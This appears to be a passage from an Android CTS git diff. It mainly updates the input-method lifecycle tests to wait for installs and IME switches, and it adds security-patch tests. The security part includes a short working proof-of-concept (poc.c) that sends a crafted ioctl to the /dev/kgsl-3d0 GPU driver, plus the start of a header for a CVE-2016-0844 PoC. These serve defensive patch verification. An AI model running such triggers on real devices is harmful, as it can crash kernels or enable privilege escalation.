import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_CREATE;
@@ -37,7 +38,6 @@
.COMMAND_SWITCH_TO_NEXT_INPUT;
import static android.inputmethodservice.cts.common.ImeCommandConstants.EXTRA_ARG_STRING1;
import static android.inputmethodservice.cts.common.ImeCommandConstants.EXTRA_COMMAND;
-import static android.inputmethodservice.cts.devicetest.BusyWaitUtils.pollingCheck;
import static android.inputmethodservice.cts.devicetest.MoreCollectors.startingFrom;
import android.inputmethodservice.cts.DeviceEvent;
@@ -191,7 +191,7 @@
helper.findUiObject(EditTextAppConstants.EDIT_TEXT_RES_NAME).click();
final String initialIme = helper.shell(ShellCommandUtils.getCurrentIme());
- helper.shell(ShellCommandUtils.setCurrentIme(Ime2Constants.IME_ID));
+ helper.shell(ShellCommandUtils.setCurrentImeSync(Ime2Constants.IME_ID));
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(startActivityTime))
.anyMatch(isFrom(Ime2Constants.CLASS).and(isType(ON_START_INPUT))),
@@ -225,7 +225,7 @@
final long imeForceStopTime = SystemClock.uptimeMillis();
helper.shell(ShellCommandUtils.uninstallPackage(Ime1Constants.PACKAGE));
- helper.shell(ShellCommandUtils.setCurrentIme(Ime2Constants.IME_ID));
+ helper.shell(ShellCommandUtils.setCurrentImeSync(Ime2Constants.IME_ID));
helper.findUiObject(EditTextAppConstants.EDIT_TEXT_RES_NAME).click();
pollingCheck(() -> helper.queryAllEvents()
.filter(isNewerThan(imeForceStopTime))
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index c1557e1..d778c70 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -16,6 +16,7 @@
package android.inputmethodservice.cts.hostside;
+import static android.inputmethodservice.cts.common.BusyWaitUtils.pollingCheck;
import static android.inputmethodservice.cts.common.DeviceEventConstants.ACTION_DEVICE_EVENT;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.TEST_START;
import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_SENDER;
@@ -49,8 +50,9 @@
@RunWith(DeviceJUnit4ClassRunner.class)
public class InputMethodServiceLifecycleTest extends BaseHostJUnit4Test {
- private static final long TIMEOUT = TimeUnit.MICROSECONDS.toMillis(20000);
- private static final long POLLING_INTERVAL = TimeUnit.MICROSECONDS.toMillis(200);
+ private static final long WAIT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
+ private static final long PACKAGE_OP_TIMEOUT = TimeUnit.SECONDS.toMillis(7);
+ private static final long POLLING_INTERVAL = 100;
@Before
public void setUp() throws Exception {
@@ -65,12 +67,46 @@
shell(ShellCommandUtils.resetImes());
}
- private void installPossibleInstantPackage(String apkFileName, boolean instant)
- throws Exception {
+ /**
+ * Install an app apk file synchronously.
+ *
+ * <p>This methods waits until package is available in PackageManger</p>
+ *
+ * <p>Note: For installing IME APKs use {@link #installImePackageSync(String, String)}
+ * instead.</p>
+ * @param apkFileName App apk to install
+ * @param packageName packageName of the installed apk
+ * @param options adb shell install options.
+ * @throws Exception
+ */
+ private void installPackageSync(
+ String apkFileName, String packageName, String... options) throws Exception {
+ installPackage(apkFileName, options);
+ pollingCheck(() ->
+ shell(ShellCommandUtils.listPackage(packageName)).contains(packageName),
+ PACKAGE_OP_TIMEOUT,
+ packageName + " should be installed.");
+ }
+
+ /**
+ * Install IME packages synchronously.
+ *
+ * <p>This method verifies that IME is available in IMMS.</p>
+ * @param apkFileName IME apk to install
+ * @param imeId of the IME being installed.
+ * @throws Exception
+ */
+ private void installImePackageSync(String apkFileName, String imeId) throws Exception {
+ installPackage(apkFileName, "-r");
+ waitUntilImesAreAvailable(imeId);
+ }
+
+ private void installPossibleInstantPackage(
+ String apkFileName, String packageName, boolean instant) throws Exception {
if (instant) {
- installPackage(apkFileName, "-r", "--instant");
+ installPackageSync(apkFileName, packageName, "-r", "--instant");
} else {
- installPackage(apkFileName, "-r");
+ installPackageSync(apkFileName, packageName, "-r");
}
}
@@ -78,19 +114,21 @@
final TestInfo testSwitchIme1ToIme2 = new TestInfo(DeviceTestConstants.PACKAGE,
DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_SWITCH_IME1_TO_IME2);
sendTestStartEvent(testSwitchIme1ToIme2);
- installPossibleInstantPackage(EditTextAppConstants.APK, instant);
- installPackage(Ime1Constants.APK, "-r");
- installPackage(Ime2Constants.APK, "-r");
+ installPossibleInstantPackage(
+ EditTextAppConstants.APK, EditTextAppConstants.PACKAGE, instant);
+ installImePackageSync(Ime1Constants.APK, Ime1Constants.IME_ID);
+ installImePackageSync(Ime2Constants.APK, Ime2Constants.IME_ID);
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
shell(ShellCommandUtils.enableIme(Ime2Constants.IME_ID));
- shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+ waitUntilImesAreEnabled(Ime1Constants.IME_ID, Ime2Constants.IME_ID);
+ shell(ShellCommandUtils.setCurrentImeSync(Ime1Constants.IME_ID));
assertTrue(runDeviceTestMethod(testSwitchIme1ToIme2));
}
@AppModeFull
@Test
- public void testSwitchImeull() throws Exception {
+ public void testSwitchImeFull() throws Exception {
testSwitchIme(false);
}
@@ -104,14 +142,17 @@
final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
sendTestStartEvent(testCreateIme1);
- installPossibleInstantPackage(EditTextAppConstants.APK, instant);
- installPackage(Ime1Constants.APK, "-r");
+ installPossibleInstantPackage(
+ EditTextAppConstants.APK, EditTextAppConstants.PACKAGE, instant);
+ installImePackageSync(Ime1Constants.APK, Ime1Constants.IME_ID);
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
- shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+ waitUntilImesAreEnabled(Ime1Constants.IME_ID);
+
+ shell(ShellCommandUtils.setCurrentImeSync(Ime1Constants.IME_ID));
assertTrue(runDeviceTestMethod(testCreateIme1));
- uninstallPackageIfExists(Ime1Constants.PACKAGE);
- assertImeNotSelectedInSecureSettings(Ime1Constants.IME_ID, TIMEOUT);
+ uninstallPackageSyncIfExists(Ime1Constants.PACKAGE);
+ assertImeNotSelectedInSecureSettings(Ime1Constants.IME_ID, WAIT_TIMEOUT);
}
@AppModeFull
@@ -130,14 +171,16 @@
final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
sendTestStartEvent(testCreateIme1);
- installPossibleInstantPackage(EditTextAppConstants.APK, instant);
- installPackage(Ime1Constants.APK, "-r");
+ installPossibleInstantPackage(
+ EditTextAppConstants.APK, EditTextAppConstants.PACKAGE, instant);
+ installImePackageSync(Ime1Constants.APK, Ime1Constants.IME_ID);
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
- shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+ waitUntilImesAreEnabled(Ime1Constants.IME_ID);
+ shell(ShellCommandUtils.setCurrentImeSync(Ime1Constants.IME_ID));
assertTrue(runDeviceTestMethod(testCreateIme1));
shell(ShellCommandUtils.disableIme(Ime1Constants.IME_ID));
- assertImeNotSelectedInSecureSettings(Ime1Constants.IME_ID, TIMEOUT);
+ assertImeNotSelectedInSecureSettings(Ime1Constants.IME_ID, WAIT_TIMEOUT);
}
@AppModeFull
@@ -157,12 +200,14 @@
DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_CLASS,
DeviceTestConstants.TEST_SWITCH_INPUTMETHOD);
sendTestStartEvent(testSetInputMethod);
- installPossibleInstantPackage(EditTextAppConstants.APK, instant);
- installPackage(Ime1Constants.APK, "-r");
- installPackage(Ime2Constants.APK, "-r");
+ installPossibleInstantPackage(
+ EditTextAppConstants.APK, EditTextAppConstants.PACKAGE, instant);
+ installImePackageSync(Ime1Constants.APK, Ime1Constants.IME_ID);
+ installImePackageSync(Ime2Constants.APK, Ime2Constants.IME_ID);
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
shell(ShellCommandUtils.enableIme(Ime2Constants.IME_ID));
- shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+ waitUntilImesAreEnabled(Ime1Constants.IME_ID, Ime2Constants.IME_ID);
+ shell(ShellCommandUtils.setCurrentImeSync(Ime1Constants.IME_ID));
assertTrue(runDeviceTestMethod(testSetInputMethod));
}
@@ -184,14 +229,16 @@
DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_CLASS,
DeviceTestConstants.TEST_SWITCH_NEXT_INPUT);
sendTestStartEvent(testSwitchInputs);
- installPossibleInstantPackage(EditTextAppConstants.APK, instant);
- installPackage(Ime1Constants.APK, "-r");
- installPackage(Ime2Constants.APK, "-r");
+ installPossibleInstantPackage(
+ EditTextAppConstants.APK, EditTextAppConstants.PACKAGE, instant);
+ installImePackageSync(Ime1Constants.APK, Ime1Constants.IME_ID);
+ installImePackageSync(Ime2Constants.APK, Ime2Constants.IME_ID);
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
// Make sure that there is at least one more IME that specifies
// supportsSwitchingToNextInputMethod="true"
shell(ShellCommandUtils.enableIme(Ime2Constants.IME_ID));
- shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+ waitUntilImesAreEnabled(Ime1Constants.IME_ID, Ime2Constants.IME_ID);
+ shell(ShellCommandUtils.setCurrentImeSync(Ime1Constants.IME_ID));
assertTrue(runDeviceTestMethod(testSwitchInputs));
}
@@ -213,12 +260,14 @@
DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_CLASS,
DeviceTestConstants.TEST_SWITCH_PREVIOUS_INPUT);
sendTestStartEvent(testSwitchInputs);
- installPossibleInstantPackage(EditTextAppConstants.APK, instant);
- installPackage(Ime1Constants.APK, "-r");
- installPackage(Ime2Constants.APK, "-r");
+ installPossibleInstantPackage(
+ EditTextAppConstants.APK, EditTextAppConstants.PACKAGE, instant);
+ installImePackageSync(Ime1Constants.APK, Ime1Constants.IME_ID);
+ installImePackageSync(Ime2Constants.APK, Ime2Constants.IME_ID);
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
shell(ShellCommandUtils.enableIme(Ime2Constants.IME_ID));
- shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+ waitUntilImesAreEnabled(Ime1Constants.IME_ID, Ime2Constants.IME_ID);
+ shell(ShellCommandUtils.setCurrentImeSync(Ime1Constants.IME_ID));
assertTrue(runDeviceTestMethod(testSwitchInputs));
}
@@ -240,12 +289,14 @@
DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_CLASS,
DeviceTestConstants.TEST_INPUT_UNBINDS_ON_IME_STOPPED);
sendTestStartEvent(testUnbind);
- installPossibleInstantPackage(EditTextAppConstants.APK, instant);
- installPackage(Ime1Constants.APK, "-r");
- installPackage(Ime2Constants.APK, "-r");
+ installPossibleInstantPackage(
+ EditTextAppConstants.APK, EditTextAppConstants.PACKAGE, instant);
+ installImePackageSync(Ime1Constants.APK, Ime1Constants.IME_ID);
+ installImePackageSync(Ime2Constants.APK, Ime2Constants.IME_ID);
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
shell(ShellCommandUtils.enableIme(Ime2Constants.IME_ID));
- shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+ waitUntilImesAreEnabled(Ime1Constants.IME_ID, Ime2Constants.IME_ID);
+ shell(ShellCommandUtils.setCurrentImeSync(Ime1Constants.IME_ID));
assertTrue(runDeviceTestMethod(testUnbind));
}
@@ -267,10 +318,12 @@
DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_CLASS,
DeviceTestConstants.TEST_INPUT_UNBINDS_ON_APP_STOPPED);
sendTestStartEvent(testUnbind);
- installPossibleInstantPackage(EditTextAppConstants.APK, instant);
- installPackage(Ime1Constants.APK, "-r");
+ installPossibleInstantPackage(
+ EditTextAppConstants.APK, EditTextAppConstants.PACKAGE, instant);
+ installImePackageSync(Ime1Constants.APK, Ime1Constants.IME_ID);
shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
- shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+ waitUntilImesAreEnabled(Ime1Constants.IME_ID);
+ shell(ShellCommandUtils.setCurrentImeSync(Ime1Constants.IME_ID));
assertTrue(runDeviceTestMethod(testUnbind));
}
@@ -305,13 +358,16 @@
}
private void cleanUpTestImes() throws Exception {
- uninstallPackageIfExists(Ime1Constants.PACKAGE);
- uninstallPackageIfExists(Ime2Constants.PACKAGE);
+ uninstallPackageSyncIfExists(Ime1Constants.PACKAGE);
+ uninstallPackageSyncIfExists(Ime2Constants.PACKAGE);
}
- private void uninstallPackageIfExists(final String packageName) throws Exception {
+ private void uninstallPackageSyncIfExists(final String packageName) throws Exception {
if (isPackageInstalled(getDevice(), packageName)) {
uninstallPackage(getDevice(), packageName);
+ pollingCheck(()-> !isPackageInstalled(getDevice(), packageName),
+ PACKAGE_OP_TIMEOUT,
+ packageName + " should be uninstalled.");
}
}
@@ -334,4 +390,32 @@
timeout -= POLLING_INTERVAL;
}
}
+
+ /**
+ * Wait until IMEs are available in IMMS.
+ * @throws Exception
+ */
+ private void waitUntilImesAreAvailable(String... imeIds) throws Exception {
+ waitUntilImesAreAvailableOrEnabled(false, imeIds);
+ }
+
+ /**
+ * Wait until IMEs are enabled in IMMS.
+ * @throws Exception
+ */
+ private void waitUntilImesAreEnabled(String... imeIds) throws Exception {
+ waitUntilImesAreAvailableOrEnabled(true, imeIds);
+ }
+
+ private void waitUntilImesAreAvailableOrEnabled(
+ boolean shouldBeEnabled, String... imeIds) throws Exception {
+ final String cmd = shouldBeEnabled ?
+ ShellCommandUtils.getEnabledImes() : ShellCommandUtils.getAvailableImes();
+ for (String imeId : imeIds) {
+ pollingCheck(() ->
+ shell(cmd).contains(imeId),
+ PACKAGE_OP_TIMEOUT,
+ imeId + " should be " + (shouldBeEnabled? "enabled." : "available."));
+ }
+ }
}
diff --git a/hostsidetests/net/app2/Android.mk b/hostsidetests/net/app2/Android.mk
index 9a4a30f..5c0bae1 100644
--- a/hostsidetests/net/app2/Android.mk
+++ b/hostsidetests/net/app2/Android.mk
@@ -32,4 +32,6 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CERTIFICATE := cts/hostsidetests/net/certs/cts-net-app
+
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/net/certs/README b/hostsidetests/net/certs/README
new file mode 100644
index 0000000..b660a82
--- /dev/null
+++ b/hostsidetests/net/certs/README
@@ -0,0 +1,2 @@
+# Generated with:
+development/tools/make_key cts-net-app '/CN=cts-net-app'
diff --git a/hostsidetests/net/certs/cts-net-app.pk8 b/hostsidetests/net/certs/cts-net-app.pk8
new file mode 100644
index 0000000..1703e4e
--- /dev/null
+++ b/hostsidetests/net/certs/cts-net-app.pk8
Binary files differ
diff --git a/hostsidetests/net/certs/cts-net-app.x509.pem b/hostsidetests/net/certs/cts-net-app.x509.pem
new file mode 100644
index 0000000..a15ff48
--- /dev/null
+++ b/hostsidetests/net/certs/cts-net-app.x509.pem
@@ -0,0 +1,19 @@
+-----BEGIN CERTIFICATE-----
+MIIDAjCCAeqgAwIBAgIJAMhWwIIqr1r6MA0GCSqGSIb3DQEBCwUAMBYxFDASBgNV
+BAMMC2N0cy1uZXQtYXBwMB4XDTE4MDYyMDAyMjAwN1oXDTQ1MTEwNTAyMjAwN1ow
+FjEUMBIGA1UEAwwLY3RzLW5ldC1hcHAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
+ggEKAoIBAQDefOayWQss1E+FQIONK6IhlXhe0BEyHshIrnPOOmuCPa/Svfbnmziy
+hr1KTjaQ3ET/mGShwlt6AUti7nKx9aB71IJp5mSBuwW62A8jvN3yNOo45YV8+n1o
+TrEoMWMf7hQmoOSqaSJ+VFuVms/kPSEh99okDgHCej6rsEkEcDoh6pJajQyUYDwR
+SNAF8SrqCDhqFbZW/LWedvuikCUlNtzuv7/GrcLcsiWEfHv7UOBKpMjLo9BhD1XF
+IefnxImcBQrQGMnE9TLixBiEeX5yauLgbZuxBqD/zsI2TH1FjxTeuJan83kLbqqH
+FgyvPaUjwckAdQPyom7ZUYFnBc0LQ9xzAgMBAAGjUzBRMB0GA1UdDgQWBBRZrBEw
+tAB2WNXj8dQ7ZOuJ34kY5DAfBgNVHSMEGDAWgBRZrBEwtAB2WNXj8dQ7ZOuJ34kY
+5DAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQDeI9AnLW6l/39y
+z96w/ldxZVFPzBRiFIsJsPHVyXlD5vUHZv/ju2jFn8TZSZR5TK0bzCEoVLp34Sho
+bbS0magP82yIvCRibyoyD+TDNnZkNJwjYnikE+/oyshTSQtpkn/rDA+0Y09BUC1E
+N2I6bV9pTXLFg7oah2FmqPRPzhgeYUKENgOQkrrjUCn6y0i/k374n7aftzdniSIz
+2kCRVEeN9gws6CnoMPx0vr32v/JVuPV6zfdJYadgj/eFRyTNE4msd9kE82Wc46eU
+YiI+LuXZ3ZMUNWGY7MK2pOUUS52JsBQ3K235dA5WaU4x8OBlY/WkNYX/eLbNs5jj
+FzLmhZZ1
+-----END CERTIFICATE-----
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 3688bec..1282bd0 100755
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -41,6 +41,7 @@
<!-- Bulletin 2016-04 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-0844->/data/local/tmp/CVE-2016-0844" />
<option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
<!--__________________-->
@@ -48,6 +49,12 @@
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2016-2460->/data/local/tmp/CVE-2016-2460" />
+ <!--__________________-->
+ <!-- Bulletin 2016-07 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-3809->/data/local/tmp/CVE-2016-3809" />
+ <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
+
<!-- Bulletin 2016-09 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
@@ -76,6 +83,7 @@
<!--__________________-->
<!-- Bulletin 2017-03 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-0479->/data/local/tmp/CVE-2017-0479" />
<option name="push" value="CVE-2017-0334->/data/local/tmp/CVE-2017-0334" />
<option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
<option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
@@ -84,6 +92,7 @@
<!--__________________-->
<!-- Bulletin 2017-04 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-10229->/data/local/tmp/CVE-2016-10229" />
<option name="push" value="CVE-2014-3145->/data/local/tmp/CVE-2014-3145"/>
<option name="push" value="CVE-2017-0553->/data/local/tmp/CVE-2017-0553"/>
@@ -107,6 +116,7 @@
<!--__________________-->
<!-- Bulletin 2017-09 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="Bug-38195738->/data/local/tmp/Bug-38195738" />
<!--__________________-->
<!-- Bulletin 2017-10 -->
@@ -135,11 +145,6 @@
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2017-13253->/data/local/tmp/CVE-2017-13253" />
-
-
-
-
-
<option name="append-bitness" value="true" />
</target_preparer>
diff --git a/hostsidetests/security/securityPatch/Bug-38195738/Android.mk b/hostsidetests/security/securityPatch/Bug-38195738/Android.mk
new file mode 100644
index 0000000..a4c1dc5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-38195738/Android.mk
@@ -0,0 +1,30 @@
+#Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-38195738
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-38195738/poc.c b/hostsidetests/security/securityPatch/Bug-38195738/poc.c
new file mode 100644
index 0000000..973c708
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-38195738/poc.c
@@ -0,0 +1,39 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include <stdint.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <fcntl.h>
+
+#define IOCTL_KGSL_GPUMEM_ALLOC 0xc018092ful
+int main() {
+ int fd = open("/dev/kgsl-3d0", 0);
+ mmap((void *)0x20000000ul, 0xd000ul, PROT_READ | PROT_WRITE,
+ MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
+
+ *(uint64_t *)0x20000ff0 = (uint64_t)0xfffffffffffff416;
+ *(uint32_t *)0x20000ff8 = (uint32_t)0x80;
+ *(uint32_t *)0x20000ffc = (uint32_t)0x8000;
+ *(uint32_t *)0x20001000 = (uint32_t)0x12345678;
+ ioctl(fd, 0xc018092ful, 0x20000ff0ul);
+ close(fd);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-0844/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-0844/Android.mk
new file mode 100644
index 0000000..c9d313d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-0844/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-0844
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-0844/local_poc.h b/hostsidetests/security/securityPatch/CVE-2016-0844/local_poc.h
new file mode 100644
index 0000000..960c9df
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-0844/local_poc.h
@@ -0,0 +1,620 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+#include <sys/types.h>
+#ifndef IPA_QMI_SERVICE_V01_H
+#define IPA_QMI_SERVICE_V01_H
+
+#define QMI_IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS_V01 2
+#define QMI_IPA_IPFLTR_NUM_MEQ_32_EQNS_V01 2
+#define QMI_IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS_V01 2
+#define QMI_IPA_IPFLTR_NUM_MEQ_128_EQNS_V01 2
+#define QMI_IPA_MAX_FILTERS_V01 64
+
+#define IPA_INT_MAX ((int)(~0U >> 1))
+#define IPA_INT_MIN (-IPA_INT_MAX - 1)
+
+enum ipa_qmi_result_type_v01 {
+ IPA_QMI_RESULT_TYPE_MIN_ENUM_VAL_V01 = IPA_INT_MIN,
+ IPA_QMI_RESULT_SUCCESS_V01 = 0,
+ IPA_QMI_RESULT_FAILURE_V01 = 1,
+ IPA_QMI_RESULT_TYPE_MAX_ENUM_VAL_V01 = IPA_INT_MAX,
+};
+
+enum ipa_qmi_error_type_v01 {
+ IPA_QMI_ERROR_TYPE_MIN_ENUM_VAL_V01 = IPA_INT_MIN,
+ IPA_QMI_ERR_NONE_V01 = 0x0000,
+ IPA_QMI_ERR_MALFORMED_MSG_V01 = 0x0001,
+ IPA_QMI_ERR_NO_MEMORY_V01 = 0x0002,
+ IPA_QMI_ERR_INTERNAL_V01 = 0x0003,
+ IPA_QMI_ERR_CLIENT_IDS_EXHAUSTED_V01 = 0x0005,
+ IPA_QMI_ERR_INVALID_ID_V01 = 0x0029,
+ IPA_QMI_ERR_ENCODING_V01 = 0x003A,
+ IPA_QMI_ERR_INCOMPATIBLE_STATE_V01 = 0x005A,
+ IPA_QMI_ERR_NOT_SUPPORTED_V01 = 0x005E,
+ IPA_QMI_ERROR_TYPE_MAX_ENUM_VAL_V01 = IPA_INT_MAX,
+};
+
+struct ipa_qmi_response_type_v01 {
+ enum ipa_qmi_result_type_v01 result;
+ enum ipa_qmi_error_type_v01 error;
+};
+
+enum ipa_platform_type_enum_v01 {
+ IPA_PLATFORM_TYPE_ENUM_MIN_ENUM_VAL_V01 = -2147483647,
+ QMI_IPA_PLATFORM_TYPE_INVALID_V01 = 0,
+ QMI_IPA_PLATFORM_TYPE_TN_V01 = 1,
+ QMI_IPA_PLATFORM_TYPE_LE_V01 = 2,
+ QMI_IPA_PLATFORM_TYPE_MSM_ANDROID_V01 = 3,
+ QMI_IPA_PLATFORM_TYPE_MSM_WINDOWS_V01 = 4,
+ QMI_IPA_PLATFORM_TYPE_MSM_QNX_V01 = 5,
+ IPA_PLATFORM_TYPE_ENUM_MAX_ENUM_VAL_V01 = 2147483647
+};
+
+struct ipa_hdr_tbl_info_type_v01 {
+ uint32_t modem_offset_start;
+ uint32_t modem_offset_end;
+};
+
+struct ipa_route_tbl_info_type_v01 {
+ uint32_t route_tbl_start_addr;
+ uint32_t num_indices;
+};
+
+struct ipa_modem_mem_info_type_v01 {
+ uint32_t block_start_addr;
+ uint32_t size;
+};
+
+struct ipa_hdr_proc_ctx_tbl_info_type_v01 {
+ uint32_t modem_offset_start;
+ uint32_t modem_offset_end;
+};
+
+struct ipa_zip_tbl_info_type_v01 {
+ uint32_t modem_offset_start;
+ uint32_t modem_offset_end;
+};
+
+struct ipa_init_modem_driver_req_msg_v01 {
+ uint8_t platform_type_valid;
+ enum ipa_platform_type_enum_v01 platform_type;
+ uint8_t hdr_tbl_info_valid;
+ struct ipa_hdr_tbl_info_type_v01 hdr_tbl_info;
+ uint8_t v4_route_tbl_info_valid;
+ struct ipa_route_tbl_info_type_v01 v4_route_tbl_info;
+ uint8_t v6_route_tbl_info_valid;
+ struct ipa_route_tbl_info_type_v01 v6_route_tbl_info;
+ uint8_t v4_filter_tbl_start_addr_valid;
+ uint32_t v4_filter_tbl_start_addr;
+ uint8_t v6_filter_tbl_start_addr_valid;
+ uint32_t v6_filter_tbl_start_addr;
+ uint8_t modem_mem_info_valid;
+ struct ipa_modem_mem_info_type_v01 modem_mem_info;
+ uint8_t ctrl_comm_dest_end_pt_valid;
+ uint32_t ctrl_comm_dest_end_pt;
